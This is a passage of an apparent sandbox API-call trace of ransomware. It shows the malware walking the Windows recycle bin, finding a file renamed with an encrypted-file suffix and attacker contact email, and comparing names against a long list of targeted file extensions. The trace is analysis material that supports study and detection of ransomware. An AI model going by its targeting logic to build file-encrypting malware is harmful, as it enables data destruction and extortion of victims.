ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x43a380 [0175.020] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0175.020] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc2e1be50, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0175.021] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.021] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="陀J\x08")) returned 0xffffffff [0175.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.021] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0175.021] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.021] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0175.021] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b78545, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.021] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf2b78545, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xf2b78545, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xf2b7ac25, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0175.021] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 1 [0175.021] lstrlenW (lpString="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr") returned 49 [0175.021] lstrlenW (lpString=".1cd") returned 4 [0175.021] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0175.021] lstrlenW (lpString=".3ds") returned 4 [0175.021] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".3fr") returned 4 [0175.022] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".3g2") returned 4 [0175.022] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".3gp") returned 4 [0175.022] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".7z") returned 3 [0175.022] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0175.022] lstrlenW (lpString=".accda") returned 6 [0175.022] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".accdb") returned 6 [0175.022] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".accdc") returned 6 [0175.022] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".accde") returned 6 [0175.022] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".accdt") returned 6 [0175.022] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".accdw") returned 6 [0175.022] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0175.022] lstrlenW (lpString=".adb") returned 4 [0175.022] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".adp") returned 4 [0175.022] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".ai") returned 3 [0175.022] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0175.022] lstrlenW (lpString=".ai3") returned 4 [0175.022] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".ai4") returned 4 [0175.022] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".ai5") returned 4 [0175.022] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0175.022] lstrlenW (lpString=".ai6") returned 4 [0175.022] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".ai7") returned 4 [0175.023] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".ai8") returned 4 [0175.023] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".anim") returned 5 [0175.023] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0175.023] lstrlenW (lpString=".arw") returned 4 [0175.023] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".as") returned 3 [0175.023] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0175.023] lstrlenW (lpString=".asa") returned 4 [0175.023] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".asc") returned 4 [0175.023] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".ascx") returned 5 [0175.023] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0175.023] lstrlenW (lpString=".asm") returned 4 [0175.023] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".asmx") returned 5 [0175.023] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0175.023] lstrlenW (lpString=".asp") returned 4 [0175.023] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".aspx") returned 5 [0175.023] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0175.023] lstrlenW (lpString=".asr") returned 4 [0175.023] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".asx") returned 4 [0175.023] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".avi") returned 4 [0175.023] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".avs") returned 4 [0175.023] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0175.023] lstrlenW (lpString=".backup") returned 7 [0175.023] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0175.023] lstrlenW (lpString=".bak") returned 4 [0175.024] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".bay") returned 4 [0175.024] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".bd") returned 3 [0175.024] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0175.024] lstrlenW (lpString=".bin") returned 4 [0175.024] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".bmp") returned 4 [0175.024] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".bz2") returned 4 [0175.024] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".c") returned 2 [0175.024] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0175.024] lstrlenW (lpString=".cdr") returned 4 [0175.024] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".cer") returned 4 [0175.024] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".cf") returned 3 [0175.024] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0175.024] lstrlenW (lpString=".cfc") returned 4 [0175.024] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".cfm") returned 4 [0175.024] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".cfml") returned 5 [0175.024] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0175.024] lstrlenW (lpString=".cfu") returned 4 [0175.024] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".chm") returned 4 [0175.024] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".cin") returned 4 [0175.024] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0175.024] lstrlenW (lpString=".class") returned 6 [0175.024] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0175.024] lstrlenW (lpString=".clx") returned 4 [0175.024] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".config") returned 7 [0175.025] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0175.025] lstrlenW (lpString=".cpp") returned 4 [0175.025] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".cr2") returned 4 [0175.025] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".crt") returned 4 [0175.025] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".crw") returned 4 [0175.025] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".cs") returned 3 [0175.025] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0175.025] lstrlenW (lpString=".css") returned 4 [0175.025] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".csv") returned 4 [0175.025] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".cub") returned 4 [0175.025] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dae") returned 4 [0175.025] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dat") returned 4 [0175.025] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".db") returned 3 [0175.025] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0175.025] lstrlenW (lpString=".dbf") returned 4 [0175.025] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dbx") returned 4 [0175.025] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dc3") returned 4 [0175.025] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dcm") returned 4 [0175.025] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0175.025] lstrlenW (lpString=".dcr") returned 4 [0175.025] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".der") returned 4 [0175.026] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dib") returned 4 [0175.026] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dic") returned 4 [0175.026] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dif") returned 4 [0175.026] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".divx") returned 5 [0175.026] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".djvu") returned 5 [0175.026] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".dng") returned 4 [0175.026] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".doc") returned 4 [0175.026] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".docm") returned 5 [0175.026] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".docx") returned 5 [0175.026] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".dot") returned 4 [0175.026] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dotm") returned 5 [0175.026] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".dotx") returned 5 [0175.026] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0175.026] lstrlenW (lpString=".dpx") returned 4 [0175.026] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dqy") returned 4 [0175.026] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dsn") returned 4 [0175.026] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0175.026] lstrlenW (lpString=".dt") returned 3 [0175.026] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0175.026] lstrlenW (lpString=".dtd") returned 4 [0175.027] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".dwg") returned 4 [0175.027] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".dwt") returned 4 [0175.027] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".dx") returned 3 [0175.027] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0175.027] lstrlenW (lpString=".dxf") returned 4 [0175.027] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".edml") returned 5 [0175.027] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0175.027] lstrlenW (lpString=".efd") returned 4 [0175.027] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".elf") returned 4 [0175.027] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".emf") returned 4 [0175.027] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".emz") returned 4 [0175.027] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".epf") returned 4 [0175.027] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".eps") returned 4 [0175.027] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".epsf") returned 5 [0175.027] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0175.027] lstrlenW (lpString=".epsp") returned 5 [0175.027] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0175.027] lstrlenW (lpString=".erf") returned 4 [0175.027] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".exr") returned 4 [0175.027] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".f4v") returned 4 [0175.027] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0175.027] lstrlenW (lpString=".fido") returned 5 [0175.028] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0175.028] lstrlenW (lpString=".flm") returned 4 [0175.028] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".flv") returned 4 [0175.028] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".frm") returned 4 [0175.028] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".fxg") returned 4 [0175.028] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".geo") returned 4 [0175.028] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".gif") returned 4 [0175.028] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".grs") returned 4 [0175.028] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".gz") returned 3 [0175.028] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0175.028] lstrlenW (lpString=".h") returned 2 [0175.028] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0175.028] lstrlenW (lpString=".hdr") returned 4 [0175.028] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".hpp") returned 4 [0175.028] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".hta") returned 4 [0175.028] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".htc") returned 4 [0175.028] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".htm") returned 4 [0175.028] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".html") returned 5 [0175.028] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0175.028] lstrlenW (lpString=".icb") returned 4 [0175.028] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0175.028] lstrlenW (lpString=".ics") returned 4 [0175.028] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".iff") returned 4 [0175.029] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".inc") returned 4 [0175.029] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".indd") returned 5 [0175.029] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0175.029] lstrlenW (lpString=".ini") returned 4 [0175.029] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".iqy") returned 4 [0175.029] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".j2c") returned 4 [0175.029] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".j2k") returned 4 [0175.029] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".java") returned 5 [0175.029] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0175.029] lstrlenW (lpString=".jp2") returned 4 [0175.029] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".jpc") returned 4 [0175.029] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".jpe") returned 4 [0175.029] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".jpeg") returned 5 [0175.029] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0175.029] lstrlenW (lpString=".jpf") returned 4 [0175.029] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".jpg") returned 4 [0175.029] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".jpx") returned 4 [0175.029] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".js") returned 3 [0175.029] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0175.029] lstrlenW (lpString=".jsf") returned 4 [0175.029] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0175.029] lstrlenW (lpString=".json") returned 5 [0175.030] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0175.030] lstrlenW (lpString=".jsp") returned 4 [0175.030] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".kdc") returned 4 [0175.030] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".kmz") returned 4 [0175.030] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".kwm") returned 4 [0175.030] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".lasso") returned 6 [0175.030] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0175.030] lstrlenW (lpString=".lbi") returned 4 [0175.030] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".lgf") returned 4 [0175.030] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".lgp") returned 4 [0175.030] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".log") returned 4 [0175.030] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".m1v") returned 4 [0175.030] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".m4a") returned 4 [0175.030] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".m4v") returned 4 [0175.030] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".max") returned 4 [0175.030] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".md") returned 3 [0175.030] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0175.030] lstrlenW (lpString=".mda") returned 4 [0175.030] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".mdb") returned 4 [0175.030] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0175.030] lstrlenW (lpString=".mde") returned 4 [0175.030] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0175.031] lstrlenW (lpString=".mdf") returned 4 [0175.031] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0175.031] lstrlenW (lpString=".mdw") returned 4 [0175.031] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0175.031] lstrlenW (lpString=".mef") returned 4 [0175.039] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0175.039] lstrlenW (lpString=".mft") returned 4 [0175.039] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0175.039] lstrlenW (lpString=".mfw") returned 4 [0175.039] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0175.039] lstrlenW (lpString=".mht") returned 4 [0175.039] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0175.039] lstrlenW (lpString=".mhtml") returned 6 [0175.039] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0175.039] lstrlenW (lpString=".mka") returned 4 [0175.040] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mkidx") returned 6 [0175.040] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0175.040] lstrlenW (lpString=".mkv") returned 4 [0175.040] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mos") returned 4 [0175.040] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mov") returned 4 [0175.040] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mp3") returned 4 [0175.040] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mp4") returned 4 [0175.040] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mpeg") returned 5 [0175.040] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0175.040] lstrlenW (lpString=".mpg") returned 4 [0175.040] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mpv") returned 4 [0175.040] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mrw") returned 4 [0175.040] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".msg") returned 4 [0175.040] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".mxl") returned 4 [0175.040] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".myd") returned 4 [0175.040] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".myi") returned 4 [0175.040] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".nef") returned 4 [0175.040] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".nrw") returned 4 [0175.040] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0175.040] lstrlenW (lpString=".obj") returned 4 [0175.041] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".odb") returned 4 [0175.041] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".odc") returned 4 [0175.041] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0175.041] lstrlenW (lpString=".odm") returned 4 